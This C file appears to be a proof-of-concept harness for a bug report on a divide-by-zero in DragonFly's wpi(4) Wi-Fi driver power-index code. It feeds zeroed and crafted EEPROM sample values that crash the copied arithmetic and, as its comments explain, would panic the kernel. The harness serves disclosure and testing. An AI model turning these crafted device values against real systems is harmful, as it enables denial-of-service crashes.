DF-3662 / wpi_pwr_div0.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 | /* * DF-3662 -- wpi(4) wpi_get_power_index() interpolate() divide-by-zero * from EEPROM TX-power samples (sys/dev/netif/wpi/if_wpi.c). * * Verbatim-arithmetic harness: the sample walk, the fdivround/interpolate * macros and the surrounding arithmetic are copied 1:1 from * sys/dev/netif/wpi/if_wpi.c:3773-3835 (wpi_get_power_index) and the * EEPROM bulk-load from if_wpi.c:1574-1610 (wpi_read_eeprom_group, * which performs NO monotonicity/distinctness validation of sample * powers before they are used as interpolation divisors). * * In the kernel the same integer division by zero raises #DE and panics * DragonFly. In this userland harness it raises SIGFPE (exit 136 via * shell). The kernel call path that reaches this arithmetic is: * * attach: wpi_attach -> wpi_read_eeprom -> wpi_read_eeprom_group (x5) * bring-up: ifconfig wpi0 up -> wpi_init -> wpi_config -> * wpi_send_rxon -> wpi_set_txpower -> wpi_get_power_index * runtime: every 60s wpi_calib_timeout -> wpi_power_calibration -> * wpi_set_txpower -> wpi_get_power_index * (and on every RXON / channel change) * * Cases: * A (control): realistic monotonic EEPROM group -> prints idx, exit 0 * B (corrupt flash): all-zero EEPROM group -> 0/0 SIGFPE * C (crafted device): adjacent equal sample powers with pwr above them * -> x2-x1 == 0 SIGFPE * * Build: cc -O2 -o wpi_pwr_div0 wpi_pwr_div0.c * Run: ./wpi_pwr_div0 <case> (case = A|B|C) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> /* --- verbatim from sys/dev/netif/wpi/if_wpivar.h --- */ struct wpi_power_sample { uint8_t index; int8_t power; }; struct wpi_power_group { #define WPI_SAMPLES_COUNT 5 struct wpi_power_sample samples[WPI_SAMPLES_COUNT]; uint8_t chan; int8_t maxpwr; int16_t temp; }; /* --- verbatim from sys/dev/netif/wpi/if_wpi.c:3777-3783 --- */ #define fdivround(a, b, n) \ ((((1 << n) * (a)) / (b) + (1 << n) / 2) / (1 << n)) #define interpolate(x, x1, y1, x2, y2, n) \ ((y1) + fdivround(((x) - (x1)) * ((y2) - (y1)), (x2) - (x1), n)) #define WPI_MAX_PWR_INDEX 77 #define min(a, b) ((a) < (b) ? (a) : (b)) static int sc_maxpwr_chan; /* sc->maxpwr[chan] (int8_t in kernel) */ static int sc_temp; /* sc->temp */ /* * Verbatim control flow of wpi_get_power_index(), * sys/dev/netif/wpi/if_wpi.c:3773-3835 (only sc/ring plumbing elided). */ static int wpi_get_power_index(struct wpi_power_group *group, uint8_t chan, int is_chan_5ghz, int ridx) { struct wpi_power_sample *sample; int pwr, idx; /* Default TX power is group maximum TX power minus 3dB. */ pwr = group->maxpwr / 2; /* Decrease TX power for highest OFDM rates to reduce distortion. */ switch (ridx) { case 5: /* WPI_RIDX_OFDM36 */ pwr -= is_chan_5ghz ? 5 : 0; break; case 6: /* WPI_RIDX_OFDM48 */ pwr -= is_chan_5ghz ? 10 : 7; break; case 7: /* WPI_RIDX_OFDM54 */ pwr -= is_chan_5ghz ? 12 : 9; break; } /* Never exceed the channel maximum allowed TX power. */ pwr = min(pwr, sc_maxpwr_chan); /* Retrieve TX power index into gain tables from samples. */ for (sample = group->samples; sample < &group->samples[3]; sample++) if (pwr > sample[1].power) break; /* Fixed-point linear interpolation using a 19-bit fractional part. */ idx = interpolate(pwr, sample[0].power, sample[0].index, sample[1].power, sample[1].index, 19); idx -= (sc_temp - group->temp) * 11 / 100; /* Decrease TX power for CCK rates (-5dB). */ if (ridx >= 8) /* WPI_RIDX_CCK1 */ idx += 10; /* Make sure idx stays in a valid range. */ if (idx < 0) return 0; if (idx > WPI_MAX_PWR_INDEX) return WPI_MAX_PWR_INDEX; return idx; } /* * Verbatim semantics of wpi_read_eeprom_group(), * sys/dev/netif/wpi/if_wpi.c:1574-1610: raw EEPROM bytes are copied into * the group structure with no validation of sample powers. We emulate * the bulk load by letting the caller hand us "EEPROM bytes". */ static void wpi_read_eeprom_group(struct wpi_power_group *group, const uint8_t eeprom[64], int temp) { int i; memset(group, 0, sizeof(*group)); group->chan = eeprom[62]; group->maxpwr = (int8_t)eeprom[60]; group->temp = (int16_t)temp; for (i = 0; i < WPI_SAMPLES_COUNT; i++) { group->samples[i].index = eeprom[i * 4]; group->samples[i].power = (int8_t)eeprom[i * 4 + 1]; } } int main(int argc, char *argv[]) { struct wpi_power_group group; uint8_t eeprom[64]; char c; if (argc != 2 || strlen(argv[1]) != 1) { fprintf(stderr, "usage: %s A|B|C\n", argv[0]); return 2; } c = argv[1][0]; /* Common ambient state (as a just-booted adapter would have). */ sc_temp = 20; /* degrees, sane silicon value */ sc_maxpwr_chan = 40; /* int8_t EEPROM channel cap, sane value */ switch (c) { case 'A': /* * Control: realistic 3945 EEPROM group -- strictly * decreasing sample powers (33,27,21,15,9) with rising * gain indices. Reference-driver-like content. */ memset(eeprom, 0, sizeof(eeprom)); eeprom[0] = 0x5a; eeprom[1] = 33; /* s0 */ eeprom[4] = 0x44; eeprom[5] = 27; /* s1 */ eeprom[8] = 0x33; eeprom[9] = 21; /* s2 */ eeprom[12]= 0x18; eeprom[13] = 15; /* s3 */ eeprom[16]= 0x0a; eeprom[17] = 9; /* s4 */ eeprom[60] = 56; /* group maxpwr */ eeprom[62] = 36; /* group top chan */ wpi_read_eeprom_group(&group, eeprom, 253 /* Kelvin */); break; case 'B': /* * Corrupt/zeroed EEPROM (flash corruption on a genuine * card, or a crafted device): every sample power is 0. * pwr = 0 never exceeds sample[1].power == 0, so the walk * falls through to samples[3]; interpolate() then divides * by sample[4].power - sample[3].power == 0 -> SIGFPE. */ memset(eeprom, 0, sizeof(eeprom)); wpi_read_eeprom_group(&group, eeprom, 0); break; case 'C': /* * Crafted device: adjacent samples share the same power * (20, 20, 12, 8, 4) and the computed pwr (28) sits above * them, so the walk breaks at samples[0] and interpolate() * divides by sample[1].power - sample[0].power == 0. */ memset(eeprom, 0, sizeof(eeprom)); eeprom[0] = 0x40; eeprom[1] = 20; /* s0 */ eeprom[4] = 0x50; eeprom[5] = 20; /* s1 == s0 */ eeprom[8] = 0x60; eeprom[9] = 12; eeprom[12]= 0x70; eeprom[13] = 8; eeprom[16]= 0x78; eeprom[17] = 4; eeprom[60] = 60; /* maxpwr -> pwr = 30 */ eeprom[62] = 36; wpi_read_eeprom_group(&group, eeprom, 253); break; default: fprintf(stderr, "usage: %s A|B|C\n", argv[0]); return 2; } printf("case %c: group maxpwr=%d temp=%d samples pow={%d,%d,%d,%d,%d}" " idx={%d,%d,%d,%d,%d} pwr-walk -> ", c, group.maxpwr, group.temp, group.samples[0].power, group.samples[1].power, group.samples[2].power, group.samples[3].power, group.samples[4].power, group.samples[0].index, group.samples[1].index, group.samples[2].index, group.samples[3].index, group.samples[4].index); fflush(stdout); /* Exactly the call wpi_set_txpower() makes 12x per invocation. */ printf("idx=%d\n", wpi_get_power_index(&group, 36 /* chan */, 0, 0)); printf("case %c: SURVIVED (no SIGFPE)\n", c); return 0; } |